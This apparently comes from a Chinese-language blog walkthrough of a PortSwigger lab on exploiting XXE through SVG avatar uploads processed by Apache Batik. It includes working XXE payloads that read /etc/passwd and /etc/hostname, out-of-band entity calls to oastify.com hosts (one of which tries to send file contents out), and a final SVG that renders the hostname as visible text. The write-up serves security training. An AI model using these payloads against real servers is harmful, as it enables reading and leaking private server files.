从业者-隐藏攻击面-文件上传中的XXE
# 实验室:通过上传图像文件利用XXE
# 题目
该实验室允许用户将头像附加到评论中,并使用 Apache Batik 库来处理图像文件。
要解决实验室问题,请上传一张图像,该图像在处理后显示/etc/hostname
文件的内容。然后使用 “Submit solution” 按钮提交服务器主机名的值。
提示
SVG 图像格式使用 XML。
- name: 实验室-从业者
desc: 通过上传图像文件利用XXE >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/xxe/lab-xxe-via-file-upload
bgColor: '#001350'
textColor: '#4cc1ff'
2
3
4
5
6
# 实操
点击 “ACCESS THE LAB” 进入实验室。
来到首页,点击任意文章下方的 “View post” 进入详情页。
在文章的底部,可以看到一个 “评论” 功能。
填写相关的表单项,然后启用浏览器代理,点击 “Post Comment” 提交表单。
将请求数据包转发至 Repeater 功能模块。
然后修改 文件名称和文件内容 并尝试上传 .svg 文件。
(很久很久之后......)
经过一百多次的尝试之后(我是FW),终于找到了合适的方法。
# 各种失败的尝试
# 1. 固定的文件扩展名
不管你上传什么样的文件,最终产生的都是一个.png
文件。
如果上传.svg
文件,程序会解析 SVG 格式,然后将其导出为.png
图像。
图片一片白,看不到回显。
# 2. 经典的XXE攻击
尝试使用经典的 XXE 攻击,但由于没有回显,所以失败。
上传的文件内容如下:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE abc [ <!ENTITY carsaid SYSTEM "file:///etc/passwd"> ]>
<svg xmlns="http://www.w3.org/2000/svg">
<a>&carsaid;</a>
</svg>
2
3
4
5
# 3. 带外交互 && 带外数据泄露
“实体” 和 “参数实体” 都可以触发带外交互。
# 普通实体
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE abc [ <!ENTITY carsaid SYSTEM "http://4puuxzw0ewevfyoo3l5byhy8azgq4gs5.oastify.com/asd"> ]>
<svg>&carsaid;</svg>
# 参数实体
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE abc [ <!ENTITY % carsaid SYSTEM "http://b5h1d6c7u3u2v54vjslieoefq6wxko8d.oastify.com"> %carsaid; ]>
<svg></svg>
2
3
4
5
6
7
8
9
成功触发带外交互。
但,尝试带外数据泄露,失败。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE abc [
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % carsaid SYSTEM 'http://7emxm2l33z3y41drsouenknbz25utlha.oastify.com/?x=%file;'>">
%eval;
%carsaid;
]>
<svg></svg>
2
3
4
5
6
7
8
在这篇文章 (opens new window)中,我找到了原因。官方规范:在 DTD 内部子集中,参数实体的引用不能和文档元素定义混合在一起,但是该规则对于外部 DTD 不受影响
也就是说,必须通过 “加载外部 DTD 文件” 的方式来利用带外数据泄露。在之前的实验中,也是如此。
(最终只能带出来一个?x=%file
,并没有获得文件内容)
# 4. 带外数据泄露 - 加载外部DTD文件
既然 “参数实体的引用” 不能和 “文档元素定义” 混合在一起,那我们直接加载外部 DTD 文件不就行了?这样就能把两者分开,而且前面的实验室也都是这么干的。
但......该实验室并没有提供 “漏洞利用服务器” ,我们无法托管自己的攻击载荷。
也就是说,这个实验不需要加载外部 DTD 文件,也不需要带外数据泄露。
# 5. 触发错误消息
和第 2 步一样,没有回显。
# 6. XInclude攻击
XInclude 功能模块被禁用了,用不了......
就算能用,但是没回显,照样没效果。
# 最终手段
寻找一番之后,我在这篇SVG教程 (opens new window)中找到了灵感。SVG 可用于生成图形,如图所示,五颜六色、还能控制字体。
我们可以读取文件内容,然后将其显示在图像当中。我在上一步也这么干过,但当时的图像一片空白,根本看不到文字。如果可以为文字添加颜色,应该就能看到回显了。
文件内容如下
- 读取
/etc/hostname
的文件内容。 - 将文件内容放入标签
<text>
当中,X轴偏移200像素、Y轴100像素、字体大小40、文字居中、文字颜色红色。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xyz [ <!ENTITY file SYSTEM "file:///etc/hostname"> ]>
<svg xmlns="http://www.w3.org/2000/svg">
<text x="200" y="100" font-size="40" text-anchor="middle" fill="red">&file;</text>
</svg>
2
3
4
5
文件上传成功。
找到刚刚提交的评论,访问图像的 URL 链接。
果然,红色的文字特别显眼,获得主机名0923d4942632
。
回到实验室主页,点击上方的 “Submit solution” 打开输入框,填入刚刚获得的主机名,然后点击 “确定” 。
提交正确,实验完成。
后来我看了参考答案,也是相同的做法:上传一个 SVG 文件,读取目标文件的内容,并放入图像当中。
但是答案中的代码稍微长一点。